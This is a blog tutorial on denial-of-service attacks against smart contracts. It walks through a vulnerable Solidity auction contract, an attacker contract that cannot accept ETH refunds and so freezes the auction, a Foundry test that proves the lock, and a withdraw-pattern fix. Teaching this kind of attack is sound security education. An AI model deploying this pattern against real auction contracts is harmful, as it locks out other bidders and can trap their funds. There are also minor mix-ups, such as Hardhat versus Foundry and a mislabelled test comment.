Executing Denial of Service on smart contracts

posted 4 min read

️ Deny users from accessing a smart contract

A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract

Overview

There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.

Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.

⚒️ Build

Setting up Foundry

To start the project, open up your terminal and create a new project directory.

mkdir denial-of-service

Let's start by setting up Hardhat inside the denial-of-service directory.

cd denial-of-service
forge init .

Write the Smart Contracts

Let's create the auction contract, named Good.sol, with the following code.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}

This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.

Now, create a contract named Attack.sol within the contracts directory and write the following lines of code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "./Good.sol";

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}

This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.

Writing the Test

Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {Attack} from "../src/Attack.sol";
import {Good} from "../src/Good.sol";
import {console} from "forge-std/console.sol";

contract AttackTester is Test {
    //declare a variable for holding instances of our contracts
    Good public goodContract;
    Attack public attackContract;

    function setUp() public {
        // Deploy the Good Contract using a dummy account
        vm.prank(vm.addr(420));
        goodContract = new Good();


        //Deploy the Attack Contract
        attackContract = new Attack(address(goodContract));

    }

    function test_attack() public {

        // Get two addresses using their private keys
        address address1= vm.addr(1);
        address address2= vm.addr(2);

        //add funds to the addresses
        deal(address1, 100 ether);
        deal(address2, 100 ether);


        //Initially let address1 become the current winner of the auction
        //impersonate address1 for sending a transaction to the Good Contract
        vm.prank(address1);
        goodContract.setCurrentAuctionPrice{value: 1 ether}();

        
        
        // Start the attack and make Attack.sol the current winner of the auction
        attackContract.attack{value: 3 ether}();

        // Now let's try making address2 the current winner of the auction
        vm.prank(address2);
        goodContract.setCurrentAuctionPrice{value: 4 ether}();



        // Balance of the Game Contract should be equal 0
        assertEq(goodContract.currentWinner(), address(attackContract));
    }
}

Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.

Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner

Test the attack

To run the test, in your terminal pointing to the root directory of this level execute the following command

forge test

When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.

Prevention

You can create a separate withdraw function for the previous winners.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address => uint) public balances;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != currentWinner, "Current winner cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

Conclusion

Hope you learnt something from this post.
If you have any questions or feel stuck or just want to say Hi, call me anytime!

Thanks

If you read this far, tweet to the author to show them you care. Tweet a Thanks

More Posts

Smart Contract Bug: Reentrancy Attacks and How to Fix Them

Web3Dev - Feb 19

A Clear and Working Example of Zero-Knowledge Proofs in a Real Web3 Application

Gil Lopes Bueno - Jul 30

A Deep Dive into Decentralized Provenance Tracking and Smart Contracts

Web3Dev - Mar 28

Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

abiEncode - Jun 30

Build your own basic NFT Contract on Ethereum

Michael Liang - May 22
chevron_left